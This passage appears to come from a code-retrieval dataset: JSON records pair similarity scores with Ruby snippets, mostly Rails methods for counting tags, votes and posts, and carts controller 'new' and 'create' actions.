"7a7ae25dbd5a7965deb7c78ece6458a8", "score": "0.6647147", "text": "def item_count\n @pages.inject(0){|item_count, page| item_count + page.count}\n end", "title": "" }, { "docid": "00765c95f39bd32de7758f9b8b4a1dde", "score": "0.6547313", "text": "def get_tag_counts(document)\n super(document, get_unique_tags(document))\n end", "title": "" }, { "docid": "c314036648ea47a3c141e6498c549d1c", "score": "0.6543959", "text": "def tags\n tags= Tag.find_all_with_article_counters(20)\n total= tags.inject(0) {|total,tag| total += tag[:article_counter] }\n average = total.to_f / tags.size.to_f\n sizes = tags.inject({}) {|h,tag| h[tag[:name]] = (tag[:article_counter].to_f / average); h} # create a percentage\n # apply a lower limit of 50% and an upper limit of 200%\n sizes.each {|tag,size| sizes[tag] = [[2.0/3.0, size].max, 2].min * 100}\n\n str= \"<p style=\\\"overflow:hidden\\\">\"\n tags.sort{|x,y| x[:name] <=> y[:name]}.each do |tag|\n str += \"<span style=\\\"font-size:#{sizes[tag[:name]]}%\\\"> #{link_to(tag[:name], url(:tag, tag[:name]))}</span>\"\n end\n str += \"</p>\"\n @body= str\n render\n end", "title": "" }, { "docid": "6b6b569496237f52e766cfaccb830032", "score": "0.6524812", "text": "def tag_counts\n if @tag_counts.nil?\n @tag_counts = {}\n tasks.each do |task|\n task.tags.each do |tag|\n @tag_counts[tag] = (@tag_counts[tag] || 0) + 1\n end\n end\n end\n\n return @tag_counts\n end", "title": "" }, { "docid": "cd228157d774815348d3636f4946be87", "score": "0.65171206", "text": "def sort_by_tag_count\n end", "title": "" }, { "docid": "eb33334317e2ac8e39dd43d1512be8a7", "score": "0.65147823", "text": "def feed_items_count\n read_attribute(:feed_items_count) || taggings.count(:select => \"DISTINCT(feed_item_id)\")\n end", "title": "" }, { "docid": "eb0a4df4f65fe1016cf8094653975f89", "score": "0.6503075", "text": "def count_tags\n\t\t# checking the setting media tags is there or not\n\t\tif current_user.setting\n\t\t\t# count the media tag count id more than 0\n\t\t\tif current_user.setting.media_tag_limit.to_i > 0\n\t\t\t\t# count limit for that media attachment tag\n\t\t\t\t@tag_count = current_user.setting.media_tag_limit.to_i\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "82a26e08767c7fa678bd4d0dcc0f5e5d", "score": "0.64985496", "text": "def count\n elements.count\n end", "title": "" }, { "docid": "bac45191540d76a8ba32bf4b7396e7aa", "score": "0.64832425", "text": "def votes_count\n votes.size\n end", "title": "" }, { "docid": "7995770113a780125121152f485f5658", "score": "0.6463078", "text": "def tags_with_counts\n counts = Hash.new(0)\n Tag.all(:id => taggings, :select => 'word').collect(&:word).each{|val|counts[val]+=1}\n counts.sort{|a,b| a[1] <=> b[1]}.reverse\n end", "title": "" }, { "docid": "d0d2da7e540183382a48d326dff54206", "score": "0.6452793", "text": "def tag_cloud\r\n \t@tags = Post.tag_counts_on(:tags)\r\n end", "title": "" }, { "docid": "9cad8318af8097e733a5e5cfbefb0d0f", "score": "0.6432595", "text": "def post_count\n self.interests_posts.count\n end", "title": "" }, { "docid": "2fed4eb14b62a33e91e901c778bd3aaf", "score": "0.6428899", "text": "def count \n puts \"Tu as scrappé #{@result_scrap.count} élémént(s)\"\n return @result_scrap.count\n end", "title": "" }, { "docid": "ea098e3714f4bfd6ccb86af69f1d6cce", "score": "0.641823", "text": "def pet_count\n pets.count\n end", "title": "" }, { "docid": "c6696ded74844d81af03be1ed5402a1f", "score": "0.641616", "text": "def tag_counts(options = {})\n Tag.find(:all, find_options_for_tag_counts(options))\n end", "title": "" }, { "docid": "c6696ded74844d81af03be1ed5402a1f", "score": "0.641616", "text": "def tag_counts(options = {})\n Tag.find(:all, find_options_for_tag_counts(options))\n end", "title": "" }, { "docid": "c6696ded74844d81af03be1ed5402a1f", "score": "0.641616", "text": "def tag_counts(options = {})\n Tag.find(:all, find_options_for_tag_counts(options))\n end", "title": "" }, { "docid": "3fed6d1c178ac418cb6bc0b3ed026828", "score": "0.64098084", "text": "def count\n @count\n end", "title": "" }, { "docid": "f65906521bc778e65085567500158f91", "score": "0.6404012", "text": "def tag_counts(options = {})\n # options.assert_valid_keys :start_at, :end_at, :conditions, :at_least, :at_most, :order, :limit\n # \n # scope = scope(:find)\n # start_at = sanitize_sql(['taggings.created_at >= ?', options[:start_at]]) if options[:start_at]\n # end_at = sanitize_sql(['taggings.created_at <= ?', options[:end_at]]) if options[:end_at]\n # \n # conditions = [\n # \"taggings.taggable_type = '#{name}'\",\n # options[:conditions],\n # scope && scope[:conditions],\n # start_at,\n # end_at\n # ]\n # conditions = conditions.compact.join(' and ')\n # \n # at_least = sanitize_sql(['count >= ?', options[:at_least]]) if options[:at_least]\n # at_most = sanitize_sql(['count <= ?', options[:at_most]]) if options[:at_most]\n # having = [at_least, at_most].compact.join(' and ')\n # group_by = 'tags.id, tags.name having count(*) > 0'\n # group_by << \" and #{having}\" unless having.blank?\n # \n # Tag.find(:all,\n # :select => 'tags.id, tags.name, COUNT(*) AS count', \n # :joins => \"LEFT OUTER JOIN taggings ON tags.id = taggings.tag_id LEFT OUTER JOIN #{table_name} ON #{table_name}.#{primary_key} = taggings.taggable_id\",\n # :conditions => conditions,\n # :group => group_by,\n # :order => options[:order],\n # :limit => options[:limit]\n # )\n end", "title": "" }, { "docid": "e4ccb50e0a9fe0946388b58cbce9cce1", "score": "0.6400658", "text": "def count\n Integer(parsed_body['meta']['total_results'])\n end", "title": "" }, { "docid": "ea308366e7a6b9bc62b98a0041cd89ad", "score": "0.6363515", "text": "def tags_counter\n Mongoid.logger.warn \"tags_counter is not supported.\"\n nil\n end", "title": "" }, { "docid": "b85b409ee641d4f582b1bdcca973c4cf", "score": "0.63619506", "text": "def photo_count\r\n infoxml = get_info\r\n return infoxml.at('photos/count').inner_text.to_i\r\n end", "title": "" }, { "docid": "489a6710cf94e6a2f27500d76eb80f56", "score": "0.63581157", "text": "def post_count\n posts.length\n end", "title": "" }, { "docid": "ecccf199b07326df17a3b474a49809ee", "score": "0.6356045", "text": "def count\n self.wordcounts.map(&:count).inject(0, :+)\n end", "title": "" }, { "docid": "1831270ae8a3a1546785adc5e42a9675", "score": "0.63531953", "text": "def count_posts(people)\n get_posts(people.as(:person)).count_section(:person)\nend", "title": "" }, { "docid": "dbfef1d4e46a96d74acb70dd48f6df68", "score": "0.6352158", "text": "def page_count; pages.count; end", "title": "" }, { "docid": "63f1bc2020187cb26dbca0c473e34c90", "score": "0.63501424", "text": "def count\n @count\n end", "title": "" }, { "docid": "63f1bc2020187cb26dbca0c473e34c90", "score": "0.63501424", "text": "def count\n @count\n end", "title": "" }, { "docid": "63f1bc2020187cb26dbca0c473e34c90", "score": "0.63501424", "text": "def count\n @count\n end", "title": "" }, { "docid": "7cd319ccd57c93fe1de56a9e6a9541db", "score": "0.6333626", "text": "def count_posts_by_tag(name)\n @count_posts_by_tag ||= all_tags.inject({}) do |count, tag|\n count[tag] = (all_posts + all_archived_posts).count{ |post| post.tags.include? tag }\n count\n end\n @count_posts_by_tag[name]\n end", "title": "" }, { "docid": "4a54226d4a81fcb1f113a894b52532c0", "score": "0.63304967", "text": "def count(extras = false)\n @count ||= klass.collection.find(selector, process_options).count(extras)\n end", "title": "" }, { "docid": "0496d21fd7c9e2a75af9fcb9ee671413", "score": "0.6327839", "text": "def total_votes\n num_of_votes = self.votes.count\n return num_of_votes\n end", "title": "" }, { "docid": "23f32bf7635ed54ea599322d299b463c", "score": "0.6327468", "text": "def item_count\n titles.size\n end", "title": "" }, { "docid": "89297277e0208c1a47a7f186b57dca80", "score": "0.63249403", "text": "def count_pet\n pets.count\n end", "title": "" }, { "docid": "9c69a0f41825720a7cecc51f250895f7", "score": "0.63125557", "text": "def content_item_count(name)\n text = self.span(:class=>\"s3d-search-result-name\",:text=>name).parent.parent.parent.link(:title=>/\\d+.content items/).text\n text[/\\d+/].to_i\n end", "title": "" }, { "docid": "3f329808f5d92def87dab175ced20c15", "score": "0.62988585", "text": "def render_facet_count(num)\n content_tag(\"span\", t('blacklight.search.facets.count', :number => num), :class => \"badge\") \n end", "title": "" }, { "docid": "41bf0276fdc24b553094278ac7d8c8a3", "score": "0.6294657", "text": "def count\n @document.page_count\n end", "title": "" }, { "docid": "9ba63ad5b45cf37724030e0c31f729d5", "score": "0.6286993", "text": "def tag_counts(options = {})\n self.class.tag_counts({ :conditions => self.class.send(:tags_condition, tag_list) }.reverse_merge!(options))\n end", "title": "" }, { "docid": "bb4013329c17b5229aa777fdc1d2ffd7", "score": "0.62841004", "text": "def counts\r\n @counts\r\n end", "title": "" }, { "docid": "7e4a35f1efc80ad73232e18c42a4b5c0", "score": "0.6281397", "text": "def count; end", "title": "" }, { "docid": "7e4a35f1efc80ad73232e18c42a4b5c0", "score": "0.6281397", "text": "def count; end", "title": "" }, { "docid": "7e4a35f1efc80ad73232e18c42a4b5c0", "score": "0.6281397", "text": "def count; end", "title": "" }, { "docid": "af78838943eb6fe9cb931fdee69b7777", "score": "0.62719655", "text": "def count\n @count ||= documents.size\n end", "title": "" }, { "docid": "702f080bb9fc01a1e1a038ebbaea23ae", "score": "0.62631524", "text": "def find_entity_and_tag_count_in_entity_type(tenant_id,entity_type_id,tags,strict=true)\n return @instance.find_entity_and_tag_count_in_entity_type(tenant_id,entity_type_id,tags,strict)\n end", "title": "" }, { "docid": "b2c039ad790178638b0700e88126d82a", "score": "0.62622756", "text": "def count\n @count\n end", "title": "" }, { "docid": "b2c039ad790178638b0700e88126d82a", "score": "0.62622756", "text": "def count\n @count\n end", "title": "" }, { "docid": "b2c039ad790178638b0700e88126d82a", "score": "0.62622756", "text": "def count\n @count\n end", "title": "" }, { "docid": "f866690c1e46287e2db423147b8392ff", "score": "0.62591034", "text": "def tag_counts(options = {})\n return [] if tag_list.blank?\n \n options[:conditions] = self.class.send(:merge_conditions, options[:conditions], self.class.send(:tags_condition, tag_list))\n self.class.tag_counts(options)\n end", "title": "" }, { "docid": "b0f78e2552cd966e0e5858f4b7d9dafe", "score": "0.6257883", "text": "def vote_count\n self.votes.count\n end", "title": "" }, { "docid": "fdb40afc3f2fe387c6c706bc74a90dcb", "score": "0.62281877", "text": "def count(products) #este nome pode ser o que nós quisermos porque só está dentro do método\n products.count\nend", "title": "" }, { "docid": "3da99b9b774d8535813a6c43df1fa354", "score": "0.6226894", "text": "def count\n @target.count.to_i\n end", "title": "" }, { "docid": "595fc7a188648809fa0c41e3966da6e6", "score": "0.6205146", "text": "def count\n @obj['count'].to_i\n end", "title": "" }, { "docid": "bce2b1ec17413112d58e91019091a6c2", "score": "0.6203402", "text": "def count\n @count ||= get_count\n end", "title": "" }, { "docid": "beb63eeb0d2fd9bce38b115163feea5b", "score": "0.61960787", "text": "def total_visit\n pet_histories.count\n end", "title": "" }, { "docid": "f49c274c6bbb50ace2e14bf81c842edf", "score": "0.61942184", "text": "def count\n items.compact.count.to_d\n end", "title": "" }, { "docid": "e355152195472260122d3020dc3ea69f", "score": "0.6191844", "text": "def count\n # implement in subclasses\n end", "title": "" }, { "docid": "0c35e869cdcda8badf17503446328d67", "score": "0.6178086", "text": "def parcels_value_more10\n count = 0\n @posts.each {|x| count +=1 if x.value > 10}\n return count\n end", "title": "" }, { "docid": "f801f11e02a6cdd2f8e5e5a857b9ed23", "score": "0.61769307", "text": "def count\n each.count\n end", "title": "" }, { "docid": "2404a67653133d6434d95e8383388a12", "score": "0.6176529", "text": "def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end", "title": "" }, { "docid": "c3735e34f7c0de991c57b692cfc5b962", "score": "0.61608076", "text": "def field_count fieldname\n case fieldname.downcase\n when /_tags$/\n tagtype = fieldname.sub /_tags$/, ''\n tagtype = ['Culinary Term', 'Untyped'] if tagtype == 'Other'\n visible_tags(:tagtype => tagtype).count\n when 'list', 'lists'\n ListServices.associated_lists(object).count # ListServices.find_by_listee(object).count\n end\n end", "title": "" }, { "docid": "d1655ca9e7cae02e9046cfcedbf15bc3", "score": "0.6159513", "text": "def vote_count\n count = Vote.find_all_by_question_id(self.id)\n if count\n return count.count\n else\n return 0\n end\n end", "title": "" }, { "docid": "b118c190d454fcbb3d639143df22daaf", "score": "0.6159271", "text": "def index\n @tags = Contact.tag_counts_on(:tags)\n\tend", "title": "" }, { "docid": "6f7af3b82ce25c80f3c57e937aca1fb3", "score": "0.61583525", "text": "def _total # :nodoc:\n total = 0\n @tags.each do |name, hash|\n total += hash['total']\n end\n total\n end", "title": "" }, { "docid": "edbc2556b57d94b32f86fce229239225", "score": "0.6149452", "text": "def vote_count\n votes.sum('direction')\n end", "title": "" }, { "docid": "db317f5897e725970285f938d40659ac", "score": "0.614691", "text": "def count\n end", "title": "" }, { "docid": "db317f5897e725970285f938d40659ac", "score": "0.614691", "text": "def count\n end", "title": "" }, { "docid": "9bc113ed59a359d2d227c8919a351993", "score": "0.61469096", "text": "def positive_count\n read_attribute(:positive_count) || taggings.count(:conditions => \"classifier_tagging = 0 AND taggings.strength = 1\")\n end", "title": "" }, { "docid": "0678a35370f35d910250a6395af17645", "score": "0.61445206", "text": "def votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'count') || 0\n end", "title": "" }, { "docid": "c2ab073dc80cdd9528085b4f73d2f326", "score": "0.61272717", "text": "def total_products_count\n products.inject(0) { |count, product| count + product.count.to_i }\n end", "title": "" }, { "docid": "dea0fb69be655499aada08f242b8467a", "score": "0.61247456", "text": "def songs_count\n value = 0\n packs.each do |pack|\n value += pack.songs.count\n end\n value += songs.count\n end", "title": "" }, { "docid": "792a9fd5eb88f53151cf4d24af6e9e99", "score": "0.61235845", "text": "def total_likes\n uploaded_photos.inject(0) do |sum, image|\n sum += image.likers.count\n end\n end", "title": "" }, { "docid": "3a5b0bdb1271d49a6c59da770729d968", "score": "0.61235756", "text": "def count\r\n items.size\r\n end", "title": "" }, { "docid": "96d65c4bb454cc901730c8f018c85ebd", "score": "0.6117798", "text": "def adword_count_total(page)\n\t\tadword_count_top(page) + adword_count_right(page)\n\tend", "title": "" }, { "docid": "4155e8f05b27c5274ed0f0c85d3c9f2b", "score": "0.61140716", "text": "def count\n @count ||= 0\n end", "title": "" }, { "docid": "c9072af471853367f03ca01f12b50178", "score": "0.6101478", "text": "def upvotes_count\n topic_votes.where(value: 1).sum(:value)\n end", "title": "" }, { "docid": "346308bf182da7dd1b6f070d1670e185", "score": "0.6100843", "text": "def count\n count = 0\n\n each do |node|\n count += 1\n end\n\n return count\n end", "title": "" }, { "docid": "3f9a4c2a742576f319bcbe4ebf969119", "score": "0.60945433", "text": "def topics_count\n object.topics.count\n end", "title": "" }, { "docid": "74e3b6563bfba17053cc95454f8bff34", "score": "0.60945153", "text": "def votes_cast_count\n total_votes\n end", "title": "" }, { "docid": "3f35831c4cd2d02676f6c7dafc98bd60", "score": "0.6090529", "text": "def page_count\n @pages.count\n end", "title": "" } ]
c737683fe86bd7cccc24ae5be6c4dbd7
GET /carts/new GET /carts/new.json
[ { "docid": "bb121b2aacbdf4346229f53c78b945a6", "score": "0.82178146", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end", "title": "" } ]
[ { "docid": "37474aa19908f22213dfe0c864060009", "score": "0.8646201", "text": "def new\n \t\"puts get carts new\"\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end", "title": "" }, { "docid": "dd79d68030203064f48d0003f2a702f3", "score": "0.8194675", "text": "def new\r\n @cart = Cart.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @cart }\r\n end\r\n end", "title": "" }, { "docid": "7d5b487d7d349115bc27b2c635cf7ee2", "score": "0.81318206", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cart }\n end\n end", "title": "" }, { "docid": "7d5b487d7d349115bc27b2c635cf7ee2", "score": "0.81318206", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cart }\n end\n end", "title": "" }, { "docid": "c65453a28f0a9f345a7a99d5e5a9e078", "score": "0.8130786", "text": "def new\n @cart = Cart.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end", "title": "" }, { "docid": "e99a1ed15044d3787b9f6bd9b5938cdd", "score": "0.80536336", "text": "def new\n @cartt = Cartt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartt }\n end\n end", "title": "" }, { "docid": "4afc5f701cb585c243672c6b47d1066a", "score": "0.79268634", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\nend", "title": "" }, { "docid": "4c25887aa8e4d129303b6f4e3a3e6092", "score": "0.7782938", "text": "def new\n @m_cart = MCart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @m_cart }\n end\n end", "title": "" }, { "docid": "da40e2e0260a884307fab4b66aeeb232", "score": "0.76947707", "text": "def new\n @cart_line_item = CartLineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart_line_item }\n end\n end", "title": "" }, { "docid": "6627681b2b64585d1c65297be7f11e92", "score": "0.767638", "text": "def new\n @shop_cart = ShopCart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_cart }\n end\n end", "title": "" }, { "docid": "cdebc5a2cb3ab48c0bcd2fd2095d0fb8", "score": "0.7674035", "text": "def new\n @cart = Cart.new\n logger.debug '----------------------------------------------------------------'\n logger.debug params[:p]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end", "title": "" }, { "docid": "ffc1f9e95f9d009da7898df5e1a2a153", "score": "0.76707464", "text": "def new\n @cart2 = Cart2.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart2 }\n end\n end", "title": "" }, { "docid": "9b8c5e0152522778277e21b61022c86c", "score": "0.76533914", "text": "def create\n @cart = Cart.new()\n \n if @cart.save\n render json: @cart\n end\n end", "title": "" }, { "docid": "a5757a27d50c9a48f5c80ac5dd7d7172", "score": "0.76427376", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, :notice => 'Cart was successfully created.' }\n format.json { render :json => @cart, :status => :created, :location => @cart }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cart.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3374916eb961a391fda0cb72117024e4", "score": "0.75620264", "text": "def create\n @cart = Cart.new(cart_params)\n if @cart.save\n render json: @cart, status: :created, location: @cart\n else\n render json: @cart.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "921ef6ca26d4333c2fd283f818d7d000", "score": "0.7553089", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "921ef6ca26d4333c2fd283f818d7d000", "score": "0.7553089", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "921ef6ca26d4333c2fd283f818d7d000", "score": "0.7553089", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "921ef6ca26d4333c2fd283f818d7d000", "score": "0.7553089", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d40d76c425ca67f0e62dab1a7e8e22c2", "score": "0.75311023", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a4f1a2b2aa1717dbf7006bd52f23c18", "score": "0.75077635", "text": "def create\n\n @cart = Cart.new(params[:cart])\n\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a35a9bf99a411cd9b5965749c755f84", "score": "0.74999875", "text": "def create\n @cart = Cart.new(cart_params)\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a5692bcabdd653014e391b94db10930", "score": "0.74983305", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a5692bcabdd653014e391b94db10930", "score": "0.74983305", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a5692bcabdd653014e391b94db10930", "score": "0.74983305", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a5692bcabdd653014e391b94db10930", "score": "0.74983305", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1622412838e503f16151315f08595442", "score": "0.74935174", "text": "def create\r\n @cart = Cart.new(params[:cart])\r\n\r\n respond_to do |format|\r\n if @cart.save\r\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\r\n format.json { render json: @cart, status: :created, location: @cart }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @cart.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "167222f177c3c5dcc5fcaba9a039edbd", "score": "0.74653524", "text": "def new\n @product = Product.new\n @cart = current_cart\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product }\n end\n end", "title": "" }, { "docid": "ea43e875c6bb4d050122561f8d9b3856", "score": "0.7440407", "text": "def new\n @row = Row.new\n @cart = current_cart\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @row }\n end\n end", "title": "" }, { "docid": "aa475adf86d3b0ff7baf9892145e1a13", "score": "0.743128", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html {redirect_to @cart, notice: 'Cart was successfully created.'}\n format.json {render :show, status: :created, location: @cart}\n else\n format.html {render :new}\n format.json {render json: @cart.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "12ba5dd06b58fd0dfa17c13ac1c11c61", "score": "0.7420524", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n end\n end", "title": "" }, { "docid": "c1ec39f2dd8efc373f40e784b16b5781", "score": "0.7410806", "text": "def new\n @resarch_cart = ResarchCart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resarch_cart }\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499149a12f2476fe81d24d42305f6b26", "score": "0.7403089", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 